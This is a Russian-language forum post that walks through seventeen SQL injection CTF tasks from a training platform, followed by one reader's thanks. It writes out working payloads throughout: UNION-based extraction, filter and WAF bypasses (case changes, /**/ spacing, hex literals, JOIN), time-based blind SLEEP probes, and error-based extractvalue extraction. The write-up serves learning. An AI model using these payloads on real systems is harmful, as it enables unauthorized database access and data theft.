• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Решаем SQL Injection задания

G

guest-1675977874


Привет !!! Я решил начать заниматься скулями , так как приобрел курс codeby sql inj master и хочу подготовиться чутка.Если вас тоже интересуют sql иньекции , то рекомендую дочитать эту статью до конца , ведь sql injection - это всегда актуально.Они встречаются на ctfках , на реальный веб ресурсах тема актуальная проще говоря и стоит знать о них...Для начала рекомендую ознакомиться с полезным pdf файлом , где расписан некоторые синтаксис SQL и еще я нашел крутой курс по SQL для начинающих - https://www.youtube.com/playlist?list=PL47zejIkBQvTJqvh9ZtNn01zwJ2lGXk-E
Что касаемо заданий , я буду использовать с платформы forkbomb.ru.И так начнем!
1672325771434.png

MySql , надо получить флаг , чтобы это сделать нам надо , чтобы в переменную name подставился никнейм Kurome.Мы можем это увидеть , если впишем любые данные ( например 123 )
1672325836376.png

Забираем флаг
2 TASK
1672326618346.png

Забираем флаг
Почему именно так расставили кавычки? А мы можем их вообще не ставить и мы увидим , что не хватает две одинарные кавычки и в каких местах:
1672326742605.png

3 TASK
1672327049820.png

LIMIT 0 означает , что выведется 0 строчек , чтобы решить эту проблему нужно закомментировать все , что после Линочки
# или -- -
1672327124944.png

4 TASK
1672327964095.png

Воспользуемся union`ом и возьмем secret из таблицы girls где имя Gabriel
Task 5
1672328248981.png

опять пользуемся union и забираем ВСЁ (*) из таблицы girls , где имя Madoka
Task 6
1672341645086.png

Мы можем обойти WAF просто изменив регистр любых букв в словах SELECT и FROM
TASK 7
У нас нет названия таблиц , но мы знаем , что в MySql information_schema.tables хранит в себе информацию о названии бд , таблиц и т.д...Значит мы можем выполнить запрос * from information_schema.tables
1672342233057.png

и мы получаем названия всех таблиц.
А дальше мы можем уже прочитать содержимое
1672342316777.png

TASK 8
Нам не известно кол-во столбцов
1672342651200.png

добавляем NULL , пока не получим флаг.Всего 3 столбца , а значит flag , 2 , 3 или flag , NULL , NULL
TASK 9
1672344231923.png

нам запрещены любые кавычки , когда мы их вводим получается вот такое искажение:
1672344305419.png

Поэтому мы можем просто перевести 7e6d83ade8bcbea8 в hex
1672344376919.png

Это работает!
TASK 10
1) Используем значение , которого нет в колонке
1672345055177.png

2)Составляем запрос id=565 union select flag,NULL,NULL from flag
нужно подбирать кол-во NULL , так как мы не знаем сколько колонок , но я узнал , что их три.То есть флаг + две колонки.
Забираем флаг)
TASK 11
1672392980932.png

Если посмотрим php CODE , то мы заметим , что у нас фильтруются символы по регулярке ("/[, '()+=\"]+/", '', $age);
Это значит мы не можем использовать where , так как нужно равно и еще проблемы , но мы можем обойти пробелы с помощью комментариев /**/
Вводим число которого нет в таблице , а далее используем union select и обязательно like , а не where и кодируем наше значение в hex и перед ним вставляем 0x , чтобы система понимала , что это hex.Забираем флаг
TASK 12
1672393594852.png

Нельзя использовать = и select или SELECT. Знаачит вместо where используем like , а вместе SELECT например Select , то есть меняем регистр букв.И все работает)
TASK 13
1672397402023.png

Запрещены запятые , но с помощью JOIN мы это обходим. гуглим common bypass sql тут больше подробностей
TASK 14
1672424958010.png

У нас вот такая вот страничка , всё что у нас есть - это название таблицы , колонки и SQL DEBUG , который ничего не выводит.Нам нужно угадать флаг с помощью слепой иньекции , то есть мы должно составить такой запрос , который будет засыпать на секунды , которые мы пропишем , если эта буква или спец.символ действительно есть , а если нет , то сразу откликаться.Для начала мы должны понять , как нам ориентироваться , ведь , чтобы было быстрее мы будем пользоваться сравнением например наша букву > m , чтобы не перебирать все возможные варианты.Конечно , в любом случае это полный бред человек не должен таким заниматься вручную , тут нужен скрипт , но понимать всё равно важно. И так приступим!
С помощью python выводим нужный алфавит по которому работает mysql - это не ascii , как оказалось
1672425237855.png

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
Далее нам нужен шаблон в который мы будем подставлять значения.Поэтом просто гуглим
1672425305752.png

Мы находим вот такой шаблон
1672425765720.png

(SUBSTRING(version(),1,1)=5,SLEEP(5),null) делаем под наше задание
IF(SUBSTRING((select flag from flag),1,1)='s',SLEEP(5),null)
шаблон собственно готов , но мы будем каждый раз менять символ в ' ' и позицию 1,1 - первая буква , 2,1 - вторая и т.д
spbctf{RANDOMTEXT}
вот такой шаблон флага.Давайте проверим
IF(SUBSTRING((select flag from flag),2,1)='p',SLEEP(5),null)
Да , задержка действительно присутствует значит буква p на второй позиции действительно находится.Продолжаем...
Как нам дальше перебирать?
как я и сказал spbctf{RANDOMTEXT} - это шаблон флага. { - 7 символ в флаге.
IF(SUBSTRING((select flag from flag),7,1) < '~',SLEEP(5),null) - True
т.к наш символ { действительно находится ДО ~
IF(SUBSTRING((select flag from flag),7,1) < '?',SLEEP(5),null) - False
т.к ? находится до { поэтому задержки не будет.
Это задание очень долго делать руками поэтому давайте я найду 8 символ и скипнем.
IF(SUBSTRING((select flag from flag),8,1) < 'Z',SLEEP(5),null) - True значит это не спец.символ
отойдем еще на 5 символов назад и возьмем попробуем V
IF(SUBSTRING((select flag from flag),8,1) < 'V',SLEEP(5),null) - True попробуем значит еще на 5
IF(SUBSTRING((select flag from flag),8,1) < 'R',SLEEP(5),null) - True - попробуем теперь прыгнуть через 10
IF(SUBSTRING((select flag from flag),8,1) < 'G',SLEEP(5),null) - False
IF(SUBSTRING((select flag from flag),8,1) = 'G',SLEEP(5),null) - True
Мы нашли 8 символ - это G
IF(SUBSTRING((select flag from flag),9,1) = '0',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),10,1) = '0',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),11,1) = 'D',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),12,1) = '_',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),13,1) = 'j',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),14,1) = '0',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),15,1) = 'b',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),16,1) = '_',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),17,1) = 'R',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),18,1) = 'E',SLEEP(5),null) - TRUE
TASK 15
1672430852431.png

Есть форма авторизации и нам нужно угадать флаг , всё , что мы знаем , что он состоит из 7 цифр.
Для начала угадаем кол-во столбицов
' and 1=2 union select flag from flag where flag like "%" -- - (false)
' and 1=2 union select flag,1 from flag where flag like "%" -- - (false)
' and 1=2 union select flag ,1 , 2 from flag where flag like "%" -- - (true)
1672431479506.png

-- - это комментарий
like 1% - означает , что первый символ единица
like 12% - означает , что первые два символа - 12
Мы узнали , что у нас 3 столбца теперь будем угадывать первую цифру флага
' and 1=2 union select flag ,1 , 2 from flag where flag like "5%" -- - (false)
' and 1=2 union select flag ,1 , 2 from flag where flag like "6%" -- - (true)
И продолжаем так перебирать до 7 цифры влючительно
TASK 16
1672432157889.png

Нужно с помощью ERROR injection получить флаг
берем отсюда шаблон
extractvalue(rand(),concat(0x3a,(select version())))
в данном случае выведет версию mysql.А нам надо флаг.Поэтому version() удаляем и пишем flag from flag

extractvalue(rand(),concat(0x3a,(select flag from flag )))
и забираем флаг))
TASK 17
extractvalue(rand(),concat(0x3a,(select flag from flag)))
мы получим не весь флаг , а только часть
1672432908715.png

Воспользуемся операторором substring и будем по 10 склеивать недостающий флаг
extractvalue(rand(),concat(0x3a,substring((select flag from flag),10)))
1672433028863.png

1672433043530.png

и т.д

на этом всё)Если вам понравилась моя статья , то пишите в комментах
 

Вложения

  • 1672326346733.png
    1672326346733.png
    8,8 КБ · Просмотры: 61
  • 1672421066251.png
    1672421066251.png
    13,8 КБ · Просмотры: 59
  • 1672421398260.png
    1672421398260.png
    35,6 КБ · Просмотры: 62
  • 1672421642683.png
    1672421642683.png
    13 КБ · Просмотры: 54
  • 1672421817733.png
    1672421817733.png
    9,8 КБ · Просмотры: 60
  • 1672425752301.png
    1672425752301.png
    5,8 КБ · Просмотры: 73

EvaSpring

Green Team
05.10.2022
15
7
BIT
20
Спасибо, для меня это актуально, потому что я тоже взял курс по sqlim. Но я ещё попутно начал читать Яворски «основы веб-хакинга». Там в районе 200 страниц, за праздники можно осилить.
 
  • Нравится
Реакции: guest-1675977874
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!